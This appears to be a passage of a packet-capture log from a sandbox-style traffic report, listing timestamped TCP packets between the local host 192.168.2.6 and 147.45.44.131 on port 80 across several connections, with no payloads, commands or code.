Jan 2, 2025 19:14:17.842787027 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.842802048 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.842839003 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.842844963 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.842850924 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.842856884 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.842864990 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.842876911 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.842897892 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.842905045 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.842911959 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.842926979 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.842926979 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.842943907 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.842974901 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.843023062 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843030930 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843039036 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843055010 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843064070 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843072891 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843080997 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843095064 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.843096018 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.843175888 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843183994 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843194962 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843209982 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.843220949 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.843291044 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843298912 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843305111 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843326092 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843333006 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843337059 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.843339920 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843346119 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843352079 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.843353033 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843396902 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843405008 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843411922 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843416929 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843431950 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843437910 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843444109 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.843444109 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.843446016 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843452930 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843461990 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.843461990 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.843534946 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.843581915 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843589067 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843600988 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843777895 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843786955 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843795061 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843802929 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843812943 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843818903 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843825102 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843830109 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843837976 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843842030 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.843858957 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.843858957 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.843873978 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.846807957 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.868087053 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.868097067 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.868103027 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.868109941 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.868114948 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.868156910 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.868163109 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.868169069 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.868175983 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.868182898 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.871437073 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.871444941 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.871450901 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.871478081 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.871507883 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.871515036 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.871521950 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.871527910 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.871534109 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.871557951 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.871557951 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.876743078 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.885901928 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.885910988 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.885917902 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.885932922 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.885950089 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.885958910 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.885967970 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.885974884 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.885981083 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.885989904 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.886070967 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.886082888 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.886100054 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.886106968 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.886112928 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.886120081 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.886120081 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.886157990 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.886748075 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.886758089 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.886771917 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.886778116 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.886785030 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.886794090 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.886802912 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.886811018 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.886833906 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.887356043 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.888484001 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.888504028 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.888511896 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.888525009 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.888560057 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.888566017 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.888571978 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.888576984 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.888582945 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.888588905 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.888616085 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.888643980 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.888643980 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.888710022 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.888770103 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.888776064 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.888782978 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.888787985 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.888793945 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.888814926 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.888843060 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.888920069 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.888928890 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.888937950 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.888946056 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.888952971 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.888958931 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.888966084 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.888999939 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.888999939 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.889112949 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889118910 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889126062 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889132023 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889136076 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.889139891 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889148951 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889158964 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889168024 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889195919 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.889195919 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.889389992 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889399052 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889408112 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889415979 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889422894 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889429092 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889441013 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889473915 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.889473915 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.889497042 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.889565945 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889574051 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889580965 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889709949 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889717102 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889723063 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889730930 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889749050 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889755011 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889758110 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.889761925 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889774084 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889780045 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889787912 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889794111 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889799118 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889805079 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889811039 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889816046 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889822960 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.889822960 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.889822960 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.889827967 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.889894962 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.889894962 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.890265942 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.890273094 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.890280008 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.890290976 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.890297890 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.890304089 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.890310049 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.890316010 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.890327930 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.890333891 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.890336037 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.890341043 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.890347958 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.890353918 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.890361071 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.890408993 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.895756006 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.895765066 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.895775080 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.895791054 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.895798922 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.895804882 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.895812035 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.895859003 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.895868063 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.895874023 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.895879984 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.895899057 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.895915031 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.895944118 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.895944118 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.895953894 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.895960093 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.895967007 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.899759054 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.908586979 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.908598900 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.908605099 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.908612013 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.908622026 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.908631086 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.908639908 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.908767939 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.908767939 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.909797907 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.909805059 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.909811974 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.909857035 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.909872055 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.909878016 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.909878969 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.909878016 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.909884930 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.909892082 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.909940004 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.910178900 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.910254002 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.910280943 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.910286903 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.910304070 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.910311937 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.910317898 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.910324097 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.910329103 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.910329103 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.910330057 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.910339117 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.910383940 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.910383940 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.910397053 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.910403013 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.910409927 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.910415888 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.910422087 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.910427094 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.910470009 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.910470009 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.910578966 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.910584927 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.910592079 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.910598040 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.910613060 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.910619020 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.910625935 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.910630941 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.910640955 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.910655975 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.911721945 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.911744118 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.911751032 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.911757946 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.911817074 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.911828041 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.911828041 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.911837101 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.911843061 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.911849976 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.911854982 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.911861897 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.911868095 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.911875963 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.911931992 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.911967993 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.911977053 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.911986113 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.911990881 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.911998034 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.912003040 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.912009001 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.912020922 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.912022114 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.912029028 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.912044048 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.912044048 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.912061930 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.912085056 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.912091017 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.912096977 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.912108898 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.912115097 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.912121058 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.912134886 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.912136078 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.912142038 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.912158012 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.912177086 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.913808107 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.913815975 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.913821936 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.913827896 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.913834095 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.913840055 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.913846970 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.913849115 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.913858891 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.913872004 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.913886070 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.913892031 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.913897991 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.913902044 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.913904905 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.913912058 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.913918018 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.913923979 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.913938999 CET	80	49727	147.45.44.131	192.168.2.6
